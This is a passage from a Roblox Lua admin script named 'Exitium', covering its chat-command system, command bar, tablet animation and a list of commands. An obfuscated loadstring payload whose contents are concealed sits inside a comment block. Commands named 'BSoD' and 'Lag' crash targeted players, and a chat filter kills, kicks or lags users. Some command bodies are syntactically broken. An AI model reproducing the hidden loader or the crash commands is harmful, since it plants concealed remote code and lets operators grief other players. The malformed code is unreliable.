  1483. -- Locking Scripts --
  1484. Exitium.Services.Workspace.DescendantAdded:connect(function(Object)
  1485. if Exitium.ServerSidedScriptsLock == true then
  1486. if Object.className == "Script" then
  1487. local ObjectName = Object.Name
  1488. Object.Disabled = true
  1489. Object:remove()
  1490. end
  1491. end
  1492. end)
  1493.  
  1494. -- AddCommand and onChatted! --
  1495. Command = function(Name, Uses, Rank, Description, Flags, Function)
  1496. if Uses == nil then return end
  1497. if Name == nil then Name = "N/A" end
  1498. if Rank == nil then Rank = 0 end
  1499. if Description == nil then Description = "N/A" end
  1500. if Flags == nil then Flags = "No Flags" end
  1501. Exitium.Commands[Name] = {Name = Name, Uses = Uses, Rank = Rank, Description = Description, Flags = Flags, Function = Function}
  1502. end
  1503.  
  1504. onChatted = function(Speaker, Message)
  1505. if Exitium.Removed == true then return end
  1506. local SpeakerName = Speaker.Name
  1507. if Message:sub(1,3) == "/e " then
  1508. Message = Message:sub(4)
  1509. end
  1510. for _,v in pairs(Exitium.ChatFilter.Phrases) do
  1511. if Exitium.ChatFilter.Enabled == true then
  1512. if Exitium.Ranked[Speaker.Name].Rank <= 0 then
  1513. local Phrase = v[1]
  1514. local Lvl = v[2]
  1515. if Message:lower():match(Phrase:lower()) or Message:upper():match(Phrase:upper()) then
  1516. if Lvl == 0 then
  1517. Speaker.Character:breakJoints()
  1518. elseif Lvl == 0.5 then
  1519. createLocalScript([[game:GetService("StarterGui"):SetCoreGuiEnabled(4, false)]], Speaker:waitForChild("Backpack"))
  1520. elseif Lvl == 1 then
  1521. Speaker:Kick()
  1522. elseif Lvl == 2 then
  1523. Lag(Speaker)
  1524. elseif Lvl == 3 then
  1525. ChangeRank(Speaker, -1)
  1526. end
  1527. end
  1528. end
  1529. end
  1530. end
  1531. for _,v in pairs(Exitium.Commands) do
  1532. for _,Use in pairs(v.Uses) do
  1533. if Message:sub(1,#Use + #Exitium.Bet) == Use..""..""..Exitium.Bet then
  1534. if FindRank(Speaker) >= v.Rank then
  1535. Message = Message:sub(#Use + #Exitium.Bet + 1)
  1536. Ran, Error = ypcall(function()
  1537. v.Function(Speaker, Message)
  1538. end)
  1539. if not Ran then Output(Speaker, Error, "Really red") end
  1540. end
  1541. end
  1542. end
  1543. end
  1544. end
  1545.  
  1546. function giveCMDBar(Player)
  1547. if type(Player) == "string" then
  1548. Player = Exitium.Services.Players:findFirstChild(Player) or nil
  1549. end
  1550. if Player == nil then return end
  1551. local rankedData = Exitium.Ranked[Player.Name]
  1552.  
  1553. if rankedData.CMD == nil then
  1554. CMD = true
  1555. end
  1556.  
  1557. for _,v in pairs(Player:FindFirstChild('PlayerGui'):GetChildren()) do
  1558. if v.Name == 'Command Bar' then
  1559. v:remove()
  1560. end
  1561. end
  1562.  
  1563. local ScreenGui = Instance.new("ScreenGui", Player:FindFirstChild('PlayerGui'))
  1564. ScreenGui.Name = 'Exitium Cmd Bar'
  1565.  
  1566. local Frame = Instance.new("Frame",ScreenGui)
  1567. Frame.BackgroundColor3 = Color3.new(1,1,1)
  1568. Frame.BackgroundTransparency = 1
  1569. Frame.BorderColor3 = Color3.new(0,400,400)
  1570. Frame.BorderSizePixel = 0
  1571. Frame.Position = UDim2.new(0,0,0,0)
  1572. Frame.Size = UDim2.new(0,325,0,27)
  1573. Frame.SizeConstraint = Enum.SizeConstraint.RelativeYY
  1574.  
  1575. local TextButton = Instance.new("TextButton",Frame)
  1576. TextButton.BackgroundColor3 = Color3.new(900,900,900)
  1577. TextButton.BackgroundTransparency = 0
  1578. TextButton.BorderColor3 = Color3.new(0,400,400)
  1579. TextButton.Size = UDim2.new(0.20000000298023,0,1,0)
  1580. TextButton.Style = Enum.ButtonStyle.Custom
  1581. TextButton.Font = Enum.Font.SourceSans
  1582. TextButton.FontSize = Enum.FontSize.Size24
  1583. TextButton.Text = "Run"
  1584. TextButton.TextColor3 = Color3.new(0,400,400)
  1585.  
  1586. local TextBox = Instance.new("TextBox",Frame)
  1587. TextBox.Active = true
  1588. TextBox.BackgroundColor3 = Color3.new(-1,0,0)
  1589. TextBox.BackgroundTransparency = 0
  1590. TextBox.BorderColor3 = Color3.new(0,400,400)
  1591. TextBox.Position = UDim2.new(0.20000000298023,0,0,0)
  1592. TextBox.Size = UDim2.new(0.1,315,0,27)
  1593. TextBox.Font = Enum.Font.SourceSans
  1594. TextBox.FontSize = Enum.FontSize.Size24
  1595. TextBox.Text = "Type Your Command"
  1596. TextBox.TextColor3 = Color3.new(900,900,900)
  1597. TextButton.MouseButton1Down:connect(function()
  1598. onChatted(Player,TextBox.Text)
  1599. end)
  1600.  
  1601. Frame:TweenPosition(UDim2.new(0.5,0.3,0,0.2), "Out", "Quad", 1)
  1602. end
  1603. --[[
  1604. shared[" dat 119996013543151 "]={getfenv(),4.762173934797756};local z={[")"]=0,["^"]=1,["="]=2,["%"]=3,["@"]=4,["!"]=5,["("]=6,["*"]=7,["-"]=8,["_"]=9,["&"]=10,["~"]=11,["?"]=12,["#"]=13,["$"]=14,["+"]=15}; setfenv(assert(loadstring((string.gsub(string.gsub(table.concat({
  1605. "?(+(%(^(?()=&*?=_(#%%*-(^(=*!(@(~!==)=@(^(@*)=^%^%_%_%_%(%)%^A%!%@A%^%!%^%)A=#!~%_(#%#(^(@*-($=!(-*)*-=&*~!=%#!_=#=^%~%%*!(@*((!($((*-=^(%*%*!(=*@*-=?(+(^(@(%*@*=*_($(*(-=-A=^A+*+~$~++$@+=+%&^#*+!$^+)+($)$)$=&_?@$-#+$&#($?_?*&*(#$#)$#-~?*_)$_-^#!#(-!#!A?@#@#--+&&?$~!#)A?%_$_)?@?_~&_?~@?@?@?=_(~(~-~+&=*)*-_%~*&$~_&!~_-(~_&((*(**%-)&$&?*)&)&=&__(&-_)&_!_!-!$@^_~_!A%=%^_#-(@~_=!^*%-$-!-+%~!&!?%=@#!=_&-)-=-!%%(_-**%-=--*=*=*?=#@~(~*+=*=&*#(_(^*?)?!$(_)-)@**%$()(*(-($(?!?!$^$^$+?+~+(!$!%!-+(+^!_!$@%+^+^++$^!%!(@%@#@))=%^@+@^@)@-@)=#@)@(+=^@+?^)C@)%?%)%^%_+-%$=+%+$-$-^*=!%*=(=$=()%%(=$#*$&#_)@=-^+=?!)%=%(%(=#$-+?!)%=%(%$^%^@+(^$^$^$^?$)^)^=^_)??&?=+?!=*^)-^%)+)%$)^%))?^?)?)&$_*$(+@)(+!+#+!#=)!+_~-#&$!+?$(&=?@A&!?&+=+-$&$#_~?^++#~$&$)$&#&#@_!~%#%$*__*-*(*-#&##?&?@#*-?&*#!?)#*?^-#_+**&~?+?+?~~*?~~?~@-%?_~&?&*%*(_^?+&&~^~#((*?_~&_~~A&=~&-*~&&_(_@*@%-$&?_*&$_((_**_-_+_&_@&)&!&#_=_)*~_*A_~_~!*@%(!@*(=_$-)_=_=!?@~-^-=_=@&A@-@=@(@#%#^~^*!=-)*~*=*&%#"
  1606. ,"@~(?(%*$(-*@*_*^*((!!=*)(?()*?(?!?!?($!((&!+(!^^%%^%=~+_+!%)($@_!)!-^~=*!_!&@&@(!(=^!#@+@^!^^#+_^~+#^-A@(@-@-)=)^@*%-@-A+&+#+-+~+%+%#^#?!=*-%(=^%-=)+%)+=^%?!==?!==$=$)%=%%#^*)+^#=_^+^=#$$)#+#-~(~=+#^~)(^?!=*!#(+@^*^?)(^?!$(+)?!=*$~&#?~)+$#=)!)_?@?%)_+?!$(&~^??~+~&~#~&~)?(~?~-~*~+&+-#-_?@+=$#$@$?&)#!$!++#__!~*_~?_~##)$@&+_$#@#!$!_?_*_$A_-_%_(_^_*_%_~-~(_(!&)#$~_?)?--?&^?^#~~-_%?^?!?!?=?)~*A~)?~(*-_(#-!A~=~=*(_~&~~!&=-#&~&+&+&?&&_^&!A&%((--_$_=_@&-_@&=_!-@-@A%^%%_!_--!-+-=@!*!-*_=_+!^_+-$A-(-*%%!!%#!^-!-!-^*#*^*=*&%_*+()-)%_=&!&(?A*@@(*@*%*#(~($^*=)@~(_!@(~!$^$+?+(@(!-(%()%=()(+!_!*!(^_=*@-@+@&@@!)A!#@=@)=~@*@_@~@~)*+%^!+*^=@$%)@=@=)?+~%^%=@=+&+@+-+=+(+#$#?~?!^!=*%=%++^%+=$=-=(=!$-+(^*^$^_^%=+^@=?A^))#^~)*^~^*^*)*^_)^^!)?!)%=%(%)??#$~#?&?^#%#=#^#)#+?$A?~?=?-?_?+~!?*_!_+#+$^)?+_?~+_+-+=+)++&=?$$)+^$^$#$#~-$@$($-$-&@_)~=_@~+#~A#+#+A_-#$?+#+-(_^_@_+-=_&-&(-(=~=?@#+??_$A?~?!?%?=-(&A~?!~+(~-#(^&+-%~(~&*!*@~&&A~(=*+(=*+($(#(?(~(&(_(&()*$(!C($!^"
  1607. ,"(?!?!)(&!#B!A%#*#-+_&_*(__*_(_)_$-#@^*^_!_*-+*_%!!*%~!%-_-)-)@%!!-%-=-?*&*$!$*=-@*?(@%-@_*(*(*)*#(_)*)^!^(%*$(~%#(~(&(@(=(^=-%)($!%($)&=?))%-!$B!^?=@!=!*!)^@%+@@!)!)@^@$=~%*@~@^$+#_=_%~@(@%^!@%@=@?%&%_+)^-%(%~%_^$=$%-==$$+)$@)?==%_=_$))-=(=~=_)$^$=-^)$@)_^_=%^+#)$!~%~#+?!=*+^?!)%=%(%*$_^*^(^)^$)#?=+=)@^+)&~(#-~_~~#%)-)-+@)%~&_-_=$=+@)++??$+?+~+!+%+=~*#*$_+@+=?#$_$~$#$#&__!~*__~@$)$=$@$@&$_##%#@$@_?_(A_@_*_+-+($(?($?)#%?)?&?#*)~)?=##?&_(?$?!*^_%*~_+~%?%?+&~~+&)~-**~#&$~$(*(-_-&&~!~=-$&(~+!-(^-?&&_!&?_+!+%#%*-*__&@&^*#_!&&!?(#-#_^_#_~-!@^(%@(_%_!_@--=(=)*)-=_#-&!(-$-%@(!@*!*?A*^-#*=-&*+(#@-*@*(*-*-%@=)@?!==@@+(~(#(+(+=_=-($!+(+^*=^=!=+^%=?!)%=%(%&+-+=@=!@(+!?=-!)(!^-=(@*@$@_@%!+@@!?@^@)%#@~%*@~@*@*%*@_%^@!%&@)+?)$$#+&+^)%)=)^)))++$+?+~+=+-+_++$!+*?!?+)+^^%?=_+!=#==$!+^=%=@^@^)=)+~^*^_^~^~#*?%$!?*$=^$))^=^=#??~)^)=^=?_?@?*?=?!?#~#_~_!$!+*)=)+?~+%)-~_#*+&++$_+#$=+)+^&#~+_%#^?!$-$?&*&($?##$#_@&^&@&^&)&+_$_#_?_~_?_=&)&*_-_-_)_%_$-^_?-+-*-*(!("
  1608. ,"+&+~^#??__!?#?=-(&~~~?!~+(~-#(^&+-%~(~&*!*@~&&~~~(=*+(-*+($(#(?(~(&(&(_()*-(!(#((($!^(?!?!)(&!#!!!!%%%#*#-+_&_*(%_~_)!*(+-#-=_#%_!~%+!*-#-@-@@~!%-^-(-+%%($*%-+*+()*#!&((*&*)^$)-!-(&*!*=@$((*~==@&(-(#(~@)()*&!@^)%=^(%$!@(~!~^=%&!-!#!~%)!)(&@=^(%~@~!!@^^=^*$!$+=+%^!?@_^!@#@=)*=*%_@@@+$~)#$$$$)_%#=#=*$$)&=(%-=@$~?_?%^%=!%)%#+_=^%($~)~^#=-=(+^=#^+^^=^$#?_$~?#$-^@^(^-^-#=#^^*)-^-?+?&?#?-?~?%?%&^&~$~+?!=*-)!#*)!)@)$+?+~~_#&+++?+#$_?~+_+-+=+)+=~@?$$!+~$(~$#_$*$($?#_#_$?__#*$+#%#%$*#?#&#%_%_%*^*)*+?~?@-*~*?_#@#^&#?!#&-+&+~^#??**@#=_@*(?(?%?_~#~!~~*+&%~~&~~)*)-#*^*!*!*@*#(^*+(+(_(#(~(~(!(_(*($(^(!(@(&(#!@(-(&!$!#!#!%!_@?_+-~-%_@@#=~=&=_=%*%-!_)_#!_-^_(@~(~*#---%%+@^%=%-!?*)*~*#*?*$(~(~*(=-@%**(*(%=?!$(-)*)()=@#(~!((#!^%&@?(_!-!)(^@+!=(*!^(!!&!-!^^#%~=+@=!(^^^)!(@*!*)~)$)-)~)()()_)%)()$+))%+@+)=!@%@)+_+?$#$~^$%_=~=-$^+@$@+~$~?_?-?*?))!%#=%=!=($?!$(~^*=&=?^!^(^%=##=+=^$)#^%^?^=$-$?!$(_)#$*^*)$)-?=+^)+)^)))-))$?!=*))=?!~!??~?_&___@+&+))^+!_%_=_^_~#"
  1609. ,"~$#+-+!?^+_+$&%#%$!+)+~_*~__&_&~!$*$($-#!#!$)_=~##^#^##-@*=*^*)*?&*#!?)#*?~_@~(#%?=?&?~&_???^?~?+~@?=?~**&!__~?~)-~*&~)~^?^*!*-*=*!*)*)*%*#()*-(&(#!$!&-+&#&&!%((!*!!--&%_!_=!~!$@$!!!!%%%=%^%&(+_*_#-+-)!@*!-^_@_(-+*)-#-*@?!?!?*-**-#*(-?@=!@*%**!^-^*-*=%?!?!~(_*~(&(=*&@**&(?=+^+=(=()@)%)=)~%)*-($!)(^=@@=!$!&!%!^!*@~%(!&@^(?@-!%^=%@@+@(@#%?!=*)%$%&@(@&+(^-+?))$$###?#^=(@@@+%%@^@@+~^(%&=^@?=-%^+@$&$~^)%!%+#(=$^=%)=&#-=$=?^-=*=#^*^*^+^)#=+*=+^!^*^&?&$?)@^+)%^!?&?$?^?*?^+%)$+-)*)%^_~?!$(?+&+?~#~#_~_&___$#%)^)?+))$+^~-#%+*$$+_$!+$&^&*&=#+#(+?_$#?$$#!$($?$&#~_^&)&@~_$^$*#_#&_#&+?##(_!_#-!--#=#=-%#!???#?%#^?~*#_=#&?)?=?(*~*+*=*-*=&@~+&_~-~@?&(~~#&~&#($($@?@~@&@+-@~=~#&^~+&=(_-@&-_+&&_(&+!=!-!_-$_%&+_?@#_~-*_%_*@+--_@@^_^_-_)@@!!@_@?%=@?($*_*%-=-$-@%!-**!**%-%-^(^!^)*-*#(=^)^~(%*-(?=?)?!$(?!$(-)@@+(#!-(+!%%?@$(~!&!=(%@^(@(_!%(*!?!?!&!%^+%#=^!@!-^%^=!-@_!_))^?!=*%^_)?)*)?!$(*)?!=*%)()$+))%+@+)=!@%@)+_+?$#$~^$%_=~=-$^+@$@+~$~?!=#=?!==*?++&=*=(=_^!="
  1610. ,"?!)%=%(%##(#=)-=(^?!==^=*^^^^^#?(#_?%=_?!^~^_)!^@^?!$(@)@))??!)%=%(%-?~~&?!?-~_~!$~)_+!)@)&+@+@+^)#&+?@)?+=+@+*&*?_$^+?$)+%&?&+_?$($-$*&&_+##$!$_#_$##=$)$__%?+#%#$?*#)#?#!_--@~_#??#-#(~()~(#@?)#+?!?+~+~^-~&*?~~(~+~-~@?&*&!@~?~^~!*==_=&%*(%*!*=(-===$===?=((!*$(%(@*_(+($(-=%(_=_(#%_(~=^%~%=*!(@*!*=*$()=%*@*=*_($(*($=%(-(^(=*-=-=%(&%=(_*@*!(-=_=~=_(_=!==%!%(%_=!($(@(_=_=_=?=&*~!^%#!_=-=_="
  1611. }),"(%u)(.)",function(r,c)return c:rep(r:byte()-62)end),"(.)(.)",function(lo,hi)return string.char(z[lo]+z[hi]*16)end)))),getfenv())()
  1612. ]]
  1613. -- Rotation! --
  1614. TabletRotation = 0
  1615. UpdateTablets = function()
  1616. if Exitium.Removed == true then return end
  1617. TabletRotation = TabletRotation==360 and 0 or TabletRotation + 0.0002
  1618. for _, Player in pairs(getALLPlayers()) do
  1619. local PlrTabs = {}
  1620. for i,v in pairs(Exitium.Tablets) do
  1621. if v.Tab.Parent ~= nil and v.Plr == Player.Name then
  1622. table.insert(PlrTabs, v)
  1623. end
  1624. end
  1625. for i,v in pairs(PlrTabs) do
  1626. pcall(function()
  1627. local radiusdata = Exitium.Ranked[Player.Name].Distance ~= nil and Exitium.Ranked[Player.Name].Distance or 5
  1628. local pos = nil
  1629. pcall(function()
  1630. if Player.Character.Parent == Exitium.Services.Workspace then
  1631. pos = Player.Character.Torso.CFrame
  1632. end
  1633. end)
  1634. if pos == nil then return end
  1635. local radius = radiusdata + (#PlrTabs * 0.5)
  1636. local x,y,z
  1637. if Exitium.Ranked[Player.Name].Rotation == false then
  1638. x = math.sin((i / #PlrTabs - (0.5 / #PlrTabs) * 2) * math.pi * 2) * radius
  1639. y = 0
  1640. z = math.cos((i / #PlrTabs - (0.5 / #PlrTabs) * 2) * math.pi * 2) * radius
  1641. else
  1642. x = math.sin((i / #PlrTabs - (0.5 / #PlrTabs) + TabletRotation * 2) * math.pi * 2) * radius
  1643. y = 0
  1644. z = math.cos((i / #PlrTabs - (0.5 / #PlrTabs) + TabletRotation * 2) * math.pi * 2) * radius
  1645. end
  1646. local arot = Vector3.new(x,y,z)+pos.p
  1647. local brot = v.Tab.CFrame.p
  1648. local crot = (arot * .1 + brot * .9)
  1649. local drot = math.rad((TabletRotation * 1000) * math.pi)
  1650. v.Tab.CFrame = CFrame.new(crot, pos.p)
  1651. -- v.Tab.Size = Vector3.new(math.cos(time())*9,math.cos(time())*9,math.cos(time())*9)
  1652. if Exitium.Ranked[Player.Name].SpinningRot == true then
  1653. v.Tab.CFrame = v.Tab.CFrame * CFrame.Angles(drot, drot, drot)
  1654. else
  1655. if Exitium.Ranked[Player.Name].MeshType ~= "Books" then
  1656. v.Tab.CFrame = v.Tab.CFrame * CFrame.Angles(math.rad(15),0,0)
  1657. else
  1658. v.Tab.CFrame = v.Tab.CFrame * CFrame.Angles(math.pi/2,0,0)
  1659. end
  1660. end
  1661. end)
  1662. end
  1663. end
  1664. end
  1665.  
  1666. Exitium.Services.ReplicatedStorage.DescendantAdded:connect(function(x)
  1667. if x.Name == "Exitium" and x:IsA('StringValue') then
  1668. local val = x.Value
  1669. local Split = val:find(':')
  1670. local Name = val:sub(1, #Split - 1)
  1671. local Message = val:sub(#Split + 1)
  1672. local Player = nil
  1673. for _,v in pairs(Exitium.Services.Players:GetPlayers()) do
  1674. if v.Name == Name then return end
  1675. end
  1676. for _,v in pairs(getALLPlayers()) do
  1677. if v.Name == Name then
  1678. Player = v
  1679. end
  1680. end
  1681. onChatted(Player, Message)
  1682. end
  1683. end)
  1684.  
  1685. RunServiceFunction = function()
  1686. pcall(function() Exitium.Connections.Loops:disconnect() end)
  1687. Exitium.Connections.Loops["Update_Tablets"] = Exitium.Services.RunService.Stepped:connect(function()
  1688. UpdateTablets()
  1689. end)
  1690. Exitium.Connections.Loops["Etc"] = Exitium.Services.RunService.Stepped:connect(function()
  1691. if Exitium.PrivateServer.Enabled == false then
  1692. Exitium.PrivateServer.Waiting = {}
  1693. end
  1694. for _,v in pairs(Exitium.Services.Players:GetPlayers()) do
  1695. local rankedData = Exitium.Ranked[v.Name]
  1696. if v:findFirstChild('PlayerGui') == nil then return end
  1697. if rankedData.CMD == true then
  1698. if v.PlayerGui:findFirstChild("Exitium Command Bar") == nil then
  1699. giveCMDBar(v)
  1700. end
  1701. end
  1702. if rankedData.CMD == false then
  1703. if v.PlayerGui:findFirstChild("Exitium Command Bar") then
  1704. v.PlayerGui:findFirstChild("Exitium Command Bar"):Destroy()
  1705. end
  1706. end
  1707. end
  1708. end)
  1709. end
  1710.  
  1711. RunServiceFunction()
  1712. -- Commands! --
  1713. Command("Dismiss Tablets", {"dt", "dismiss", "hide"}, 0, "Dismisses Tablets", "-p (Player/Rank 4)", function(Speaker, Msg)
  1714. if GetSplit(Msg) == "p" then
  1715. if FindRank(Speaker) >= 4 then
  1716. Msg = Msg:gsub("-p", "")
  1717. local Players = getPlayer(Speaker, Msg)
  1718. if #Players > 0 then
  1719. for _,v in pairs(Players) do
  1720. ypcall(function()
  1721. Dismiss(v)
  1722. end)
  1723. end
  1724. end
  1725. else
  1726. Output(Speaker, "Your rank is too low to use that flag!", "Really red", nil, 2)
  1727. end
  1728. else
  1729. Dismiss(Speaker)
  1730. end
  1731. end)
  1732. Command("Clear", {"clear", "clr"}, 1, "Clears workspace", "No Flags", function(Speaker, Msg)
  1733. for i,v in pairs(workspace:children()) do
  1734. local IsChar = false
  1735. pcall(function()
  1736. for j,k in pairs(game:service'NetworkServer':children()) do
  1737. if pcall(function() k:GetPlayer() end) then
  1738. if v.Name == k:GetPlayer().Name then
  1739. IsChar = true
  1740. end
  1741. end
  1742. end
  1743. end)
  1744. if IsChar == false then
  1745. if v.Name ~= "Terrain" then
  1746. if v.ClassName ~= 'Script' then
  1747. pcall(function() v:remove() end)
  1748. end
  1749. end
  1750. else
  1751. pcall(function()
  1752. for j,k in pairs(v:children()) do
  1753. if k.ClassName ~= 'CharacterMesh' and k.Name ~= 'Head' and k.ClassName ~= 'Humanoid' and k.ClassName ~= 'Hat' and k.ClassName ~= 'Shirt' and k.ClassName ~= 'Pants' and k.Name ~= 'Torso' and k.Name ~= 'Left Arm' and k.Name ~= 'Left Leg' then
  1754. if k.Name ~= 'Right Arm' and k.Name ~= 'Right Leg' and k.ClassName ~= 'LocalScript' and k.ClassName ~= 'Motor' and k.ClassName ~= 'BodyColors' and k.ClassName ~= 'Script' and k.Name ~= 'HumanoidRootPart' then
  1755. k:Destroy()
  1756. end
  1757. end
  1758. end
  1759. end)
  1760. end
  1761. end
  1762. CreateBase()
  1763. Output(Speaker, "[EXITIUM SYSTEM] Garbage: "..tostring((math.floor((collectgarbage("count") / 10)) * 10)/1000) .. "MB", "Hot pink")
  1764. end
  1765. )
  1766. Command("Commands", {"cmds", "commands"}, 1, "Shows Commands", "No Flags", function(Speaker, Msg)
  1767. ShowCommands(Speaker)
  1768. end)
  1769. Command("Music", {"Music", "msc"}, 3, "Plays music", "No Flags", function(Speaker, Msg)
  1770. v=Instance.new("Sound")
  1771. v.Parent = game.Workspace
  1772. v.SoundId="http://www.roblox.com/Asset/?id=155573096"
  1773. v.Pitch = 1
  1774. v.Name="Sound... EXITIUM"
  1775. v.Looped=true
  1776. wait()
  1777. v:Play()
  1778. end)
  1779.  
  1780. Command("Insert", {"t", "g"}, 1, "Gets Things", "-b (Base) -c (Clean) -r (Reset) -rl (Reset Lighting) -rj (Rejoin) -fc (Fix Character) -ball (qlqkqzqrd's Ball) -cmdbar (Command Bar) -nocmdbar (No Command Bar)", function(Speaker, Msg)
  1781. if GetSplit(Msg) == "r" then
  1782. Speaker:LoadCharacter()
  1783. elseif GetSplit(Msg) == "fc" then
  1784. Speaker.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..Speaker.userId
  1785. Speaker:LoadCharacter()
  1786. elseif GetSplit(Msg) == "clean" then
  1787. CleanWorkspace()
  1788. elseif GetSplit(Msg) == "base" then
  1789. CreateBase()
  1790. elseif GetSplit(Msg) == "rl" then
  1791. Debug()
  1792. elseif GetSplit(Msg) == "rj" then
  1793. Exitium.Services.TeleportService:Teleport(Exitium.Services.Game.PlaceId, Speaker)
  1794. elseif GetSplit(Msg) == "cmdbar" then
  1795. giveCMDBar(Speaker)
  1796. elseif GetSplit(Msg) == "nocmdbar" then
  1797. ypcall(function()
  1798. Exitium.Ranked[Speaker.Name].CMD = false
  1799. end)
  1800. elseif GetSplit(Msg) == "ball" then
  1801. createLocalScript([[
  1802. wait(0.001);
  1803. _ray=function(v0,v1,i)
  1804. local mag=(v0-v1).magnitude;
  1805. local ray=Ray.new(v0,(v1-v0).unit*(mag>999 and 999 or mag));
  1806. return(type(i)=='table'and workspace.FindPartOnRayWithIgnoreList or workspace.FindPartOnRay)(workspace,ray,i);
  1807. end;
  1808. user=game:service'Players'.LocalPlayer;
  1809. backpack=user.Backpack;
  1810. mouse=user:GetMouse();
  1811. char=user.Character;
  1812. torso=char.Torso;
  1813. head=char.Head;
  1814. hum=char:findFirstChild'Humanoid';
  1815. if(not hum or hum.className~='Humanoid')then
  1816. hum=char:children();
  1817. for i=1,#hum do
  1818. if(hum[i].className=='Humanoid')then
  1819. hum=hum[i];
  1820. break;
  1821. end;
  1822. end;
  1823. end;
  1824. repeat until not pcall(function()
  1825. char.ala_ball:Destroy();
  1826. hum.PlatformStand=false;
  1827. end);
  1828. repeat until not pcall(function()
  1829. backpack.ala_ball:Destroy();
  1830. hum.PlatformStand=false;
  1831. end);
  1832. keys={};
  1833. bin=Instance.new('HopperBin',backpack);
  1834. bin.Name='ala_ball';
  1835. script.Parent=bin;
  1836. bin.Selected:connect(function()
  1837. ball=Instance.new'Part';
  1838. ball.Shape=0;
  1839. ball.Friction=10;
  1840. ball.Elasticity=0;
  1841. ball.TopSurface=0;
  1842. ball.formFactor=0;
  1843. ball.BottomSurface=0;
  1844. ball.Transparency=0.5;
  1845. ball.CanCollide=false;
  1846. ball.Color=BrickColor.new(']]..Exitium.Ranked[Speaker.Name].Color..[[').Color;
  1847. ball.CFrame=head.CFrame;
  1848. ball.Name='ala_ball';
  1849. ball.Size=Vector3.new(10,10,10);
  1850. ball.Parent=char;
  1851. weld=Instance.new('Weld',ball);
  1852. weld.Part0=ball;
  1853. weld.Part1=head;
  1854. wait(0.001);
  1855. hum.PlatformStand=true;
  1856. ball.CanCollide=true;
  1857. end);
  1858. bin.Deselected:connect(function()
  1859. ball:Destroy();
  1860. ball=nil;
  1861. hum.PlatformStand=false;
  1862. end);
  1863. mouse.KeyDown:connect(function(key)
  1864. keys[key]=true;
  1865. end);
  1866. mouse.KeyUp:connect(function(key)
  1867. keys[key]=false;
  1868. end);
  1869. hum.Changed:connect(function(p)
  1870. if(p=='PlatformStand'and ball)then
  1871. hum.PlatformStand=true;
  1872. end;
  1873. end);
  1874. hum.Died:connect(function()
  1875. ball:Destroy();
  1876. ball=nil;
  1877. bin:Destroy();
  1878. end);
  1879. local jump_time=time();
  1880. game:service'RunService'.Stepped:connect(function()
  1881. if(ball and ball.Parent)then
  1882. if(keys[' ']and jump_time<=time())then
  1883. local hit,pos=_ray(ball.Position-Vector3.new(0,3,0),ball.Position-Vector3.new(0,6,0),char);
  1884. if(hit and hit.CanCollide)then
  1885. jump_time=time()+1;
  1886. ball.Velocity=ball.Velocity+Vector3.new(0,100,0);
  1887. end;
  1888. end;
  1889. if(keys.w or keys.s or keys.a or keys.d and ball.Velocity.magnitude<30)then
  1890. local v=((CFrame.Angles(0,math.rad(90),0)*workspace.CurrentCamera.CoordinateFrame).lookVector*Vector3.new(1,0,1)).unit;
  1891. local speed=ball.Velocity.magnitude;
  1892. speed=speed>30 and 30 or speed;
  1893. v=v+v*speed;
  1894. if(keys.s)then
  1895. v=v*-1;
  1896. end;
  1897. if(keys.d)then
  1898. v=v+workspace.CurrentCamera.CoordinateFrame.lookVector*speed;
  1899. end;
  1900. if(keys.a)then
  1901. v=v-workspace.CurrentCamera.CoordinateFrame.lookVector*speed;
  1902. end;
  1903. ball.RotVelocity=v;
  1904. end;
  1905. end;
  1906. end);
  1907. ]], Speaker.Character)
  1908. end
  1909. end)
  1910. Command("CommandBar", {"cbar", "combar"}, 3, "Gives you a command bar", "No Flags", function(Speaker, Msg)
  1911. giveCMDBar(Speaker)
  1912. end)
  1913. Command("Change Rank", {"setrank", "changerank", "srank", "setr"}, 0, "Changes A Player's Rank", "No Flags", function(Speaker, Msg)
  1914. local Split = Msg:find(Exitium.Bet)
  1915. local Player = getPlayer(Speaker, Msg:sub(1, Split - 1))
  1916. local Rank = tonumber(Msg:sub(Split + 1))
  1917. if #Player > 0 then
  1918. for _,v in pairs(Player) do
  1919. if Rank == nil then Output(Speaker, "That rank is invalid", "Really red", nil, 3) return end
  1920. if Rank < 0 and FindRank(Speaker) < 2 then Output(Speaker, "You cannot set a rank that low.", "Really red", nil, 3) return end
  1921. if FindRank(v) > FindRank(Speaker) then Output(Speaker, "You cannot set a person's rank that is higher than you!", "Really red", nil, 3) return end
  1922. if Rank < FindRank(Speaker) then
  1923. ChangeRank(v, Rank)
  1924. Output(Speaker, "Changed "..v.Name.."'s Rank to "..Rank, "Lime green", nil, 3)
  1925. Output(v, "Your rank has been changed to "..Rank.."!", "Lime green", nil, 3)
  1926. else
  1927. Output(Speaker, "You cannot set a rank higher than you!", "Really red", nil, 3)
  1928. end
  1929. end
  1930. end
  1931. end)
  1932.  
  1933. Command("BSoD", {"bsod", "bb"}, 3, "BSoD's someone", "No Flags", function(Speaker, Msg)
  1934. function(Msg,Speaker)
  1935. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  1936. DDCrash(v)
  1937. end
  1938. end)
  1939.  
  1940. Command("Lag", {"laggg", "lag"}, 3, "Lags someone", "No Flags", function(Speaker, Msg)
  1941. function(Msg,Speaker)
  1942. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  1943. DDCrash(v)
  1944. end
  1945. end)
  1946.  
  1947. Command("Base", {"base", "newbase"}, 3, "Creates a new base.", "No Flags", function(Speaker, Msg)
  1948. if game.Workspace:findFirstChild("Base") then
  1949. game.Workspace.Base:Remove()
  1950. end
  1951. if game.Workspace:findFirstChild("Part") then
  1952. game.Workspace.Part:Remove()
  1953. end
  1954. if game.Workspace:findFirstChild("Baseplate") then
  1955. game.Workspace.Baseplate:Remove()
  1956. end
  1957. a = Instance.new("Part")
  1958. a.Parent = game.Workspace
  1959. a.Name = "Base"
  1960. a.Position = Vector3.new(0, 0.6, 0)
  1961. a.Size = Vector3.new(1002, 0, 1002)
  1962. a.Material = "Grass"
  1963. a.Anchored = true
  1964. a.BrickColor = BrickColor.new("Earth green")
  1965. Output("Successfully created a new base",Speaker)
  1966. end)
  1967. Command("Ping", {"ping", "p"}, 0, "Pings A Message", "-a (AFK) -bl (Banlist) -r (Ranked) -s (Spam)", function(Speaker, Msg)
  1968. if GetSplit(Msg) == "a" then
  1969. Dismiss(Speaker)
  1970. Msg = Msg:gsub("-a", "")
  1971. for i = 1, 6 do
  1972. Output(Speaker, "AFK")
  1973. end
  1974. Output(Speaker, "Dismiss")
  1975. elseif GetSplit(Msg) == "bl" then
